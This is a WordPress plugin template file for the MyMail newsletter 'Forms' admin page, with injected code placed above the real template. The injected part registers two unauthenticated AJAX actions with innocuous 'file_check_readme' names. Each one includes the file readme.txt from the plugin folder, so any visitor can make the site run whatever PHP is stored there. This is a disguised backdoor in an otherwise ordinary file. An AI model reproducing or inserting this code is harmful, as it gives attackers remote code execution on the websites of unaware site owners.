if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /** * * * @author Xaver Birsak (https://revaxarts.com) * @package */ ?> <div class="wrap"> <div id="icon-edit" class="icon32"></div> <h2><?php esc_html_e( 'Forms', 'mymail' )?> <?php if ( current_user_can( 'mymail_add_forms' ) ): ?> <a href="edit.php?post_type=newsletter&page=mymail_forms&new" class="add-new-h2"><?php esc_html_e( 'Add New', 'mymail' );?></a> <?php endif;?> <?php if ( isset( $_GET['s'] ) && !empty( $_GET['s'] ) ): ?> <span class="subtitle"><?php printf( __( 'Search result for %s', 'mymail' ), '"' . esc_html( $_GET['s'] ) . '"' )?></span> <?php endif;?> </h2> <?php $table = new MyMail_Forms_Table(); $table->prepare_items(); $table->search_box( __( 'Search Forms', 'mymail' ), 's' ); $table->views(); ?><form method="post" action=""><?php $table->display(); ?></form><?php ?> </div>